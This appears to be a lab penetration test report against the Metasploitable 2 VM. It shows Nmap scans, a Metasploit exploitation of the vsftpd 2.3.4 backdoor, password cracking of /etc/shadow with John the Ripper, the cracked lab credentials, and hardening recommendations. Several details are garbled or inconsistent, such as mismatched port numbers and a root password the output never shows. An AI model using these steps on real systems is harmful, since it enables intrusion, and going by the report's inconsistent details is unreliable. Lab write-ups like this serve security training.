

Widgets-R-US Penetration Test Report

Project: Penetration Testing of New Fileshare Server

Target System: Metasploitable 2

Scope: Testing the new fileshare server

Table of Contents

1. Introduction
2. Testing Methodology
3. Steps Taken
 - Initial Reconnaissance
 - Gaining Access
 - Privilege Escalation
4. Credentials Discovered
5. Files Exfiltrated
6. Recommendation

1.Introduction

The goal of this penetration test is to gain a better understanding of Widgets-R-U's newly provisioned fileshare server. In summary, the assessment will aim to identify and exploit vulnerabilities end-to-end in relation to the server extract sensitive information like user credentials then offer recommendations on improvements that can be made as far as security of the system is concerned.

2. Testing Methodology

The testing will follow these phases:

- **Reconnaissance:** Gather information about the target.
- **Gaining Access:** Exploit vulnerabilities to gain initial access.
- **Privilege Escalation:** Gain higher-level permissions.

- **Exfiltration:** Extract sensitive data.
- **Reporting:** Document findings and provide recommendations.

3. Steps Taken

Initial Reconnaissance

Tool Used: Nmap

Finding vulnerability

```
(root@windows) - /home/abdullah
# nmap -i 192.168.57.8/24
Doing NBT name scan for addresses from 192.168.57.8/24
IP address      NetBIOS Name    Server    User      MAC address
192.168.57.131  <unknown>       <unknown>
192.168.57.135  METASPLOITABLE  <server>  METASPLOITABLE  00:00:00:00:00:00
192.168.57.255  Sendto failed: Permission denied

(root@windows) - /home/abdullah
# nmap -i 192.168.57.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 06:32 CDT
Nmap scan report for 192.168.57.135
Host is up (0.0028s latency).
Not shown: 277 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
59/tcp    open  domain
88/tcp    open  http
111/tcp   open  rpcbind
129/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  tftp
1899/tcp  open  java-rmi
1909/tcp  open  bindshell
2849/tcp  open  nfs
2121/tcp  open  ftp
3106/tcp  open  mysql
3632/tcp  open  postgresql
3806/tcp  open  vnc
6806/tcp  open  x11
6807/tcp  open  irc
8809/tcp  open  ajp13
8186/tcp  open  http
MAC Address: 00:0C:29:52:0A:75 (VMware)
Service Info: Hosts: metasploit.localdomain, irc.Metasploit.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.94 seconds

(root@windows) - /home/abdullah
```

```
(root@windows) - /home/abdullah
# nmap -p 21 --script vuln 192.168.57.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 06:36 CDT
Nmap scan report for 192.168.57.135
Host is up (0.00062s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
|_ VULNERABLE:
|   vsftpd version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs: BID:48539 CVE:CVE-2011-2523
|   vsftpd version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|   Shell command: id
|   Results: uid=0(root) gid=0(root)
|   References:
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|   http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|   https://www.securityfocus.com/bid/48539
|_ MAC Address: 00:0C:29:52:0A:75 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

(root@windows) - /home/abdullah
```

Output Summary:

- Several services detected including SSH, FTP, Telnet, and MySQL.

- Open ports: 21 (FTP), 22 (SSH), 23 (Telnet), 80 (HTTP), 3306 (MySQL).

Gaining Access

Exploitation:

- Using Metasploit:
 - Command: **msfconsole**
 - Exploit used: **vsftpd_234_backdoor**
 - Successful login to the system.

```

root@kali: ~
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
=====

```

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
-----
CHOST     no               no        The local client address
CPORT     no               no        The local client port
Proxies   no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.57.135  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21               yes       The target port (TCP)

Exploit target:
=====
Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.57.135:21 - Banner: 220 (vsftpd 2.3.4)
[*] 192.168.57.135:21 - USER: 131 Please specify the password.
[*] 192.168.57.135:21 - Backdoor service has been spawned, handling ...
[*] 192.168.57.135:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.57.131:43229 -> 192.168.57.135:6200) at 2024-05-24 06:19:15 -0500

whoami
root
sysinfo
sh: line 7: sysinfo: command not found
show options
sh: line 8: show: command not found
show option
sh: line 9: show: command not found

```

```
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

# Name Disclosure Date Rank Check Description
- - - - -
0 payload/cmd/unix/interact . normal No Unix Command, Interact with Established Connection

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > Interrupt: use the 'exit' command to quit
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
- - - - -
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
- - -
0 Automatic

View the full module info with the info, or info -d command.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.57.135
rhosts => 192.168.57.135
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Outcome: Gained initial access through FTP service.

Privilege Escalation:

Password Hash Extraction:

- Tool: John the Ripper

```
(root@windows)-[/home/abduallah]
# john /home/abduallah/Desktop/shadow.txt --wordlist=usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
fopen: usr/share/wordlists/rockyou.txt: No such file or directory
```

4. Credentials Discovered

User ID	Password
root	msfadmin
klog	123456789
sys	batman
service	service

```
(root@windows)-[/home/abdullah]
# john /home/abdullah/Desktop/shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789 (klog)
batman (sys)
service (service)
3g 0:00:01:00 29.74% (ETA: 09:08:02) 0.04954g/s 72233p/s 289151c/s 289151C/s r2pemo..r2366592
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```

5. Files Exfiltrated

Sensitive Files Identified:

- /etc/passwd
- /etc/shadow

```
pango
passwd
passwd-
pcmcia
perl
php5
popularity-contest.conf
postfix
postgresql
postgresql-common
ppp
printcap
profile
profile.d
proftpd
protocols
purple
python
python2.5
rc.local
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d
rcS.d
resolv.conf
resolvconf
rmt
rpc
samba
screenrc
securetty
security
services
sgml
shadow
shadow-
shells
```

6. Recommendations

1. Disable Unnecessary Services:

- Services like Telnet and FTP should be disabled or replaced with more secure alternatives like SSH and SFTP.

2. Strong Password Policies:

- Enforce strong password policies including complexity requirements and regular rotation.

3. Patch Management:

- Regularly update and patch all software to protect against known vulnerabilities.

4. Intrusion Detection Systems (IDS):

- Implement IDS to monitor and alert on suspicious activities.

5. Least Privilege Principle:

- Apply the principle of least privilege to limit user access based on role requirements.

6. Disable Anonymous Logins:

- Ensure anonymous logins are disabled for services like FTP.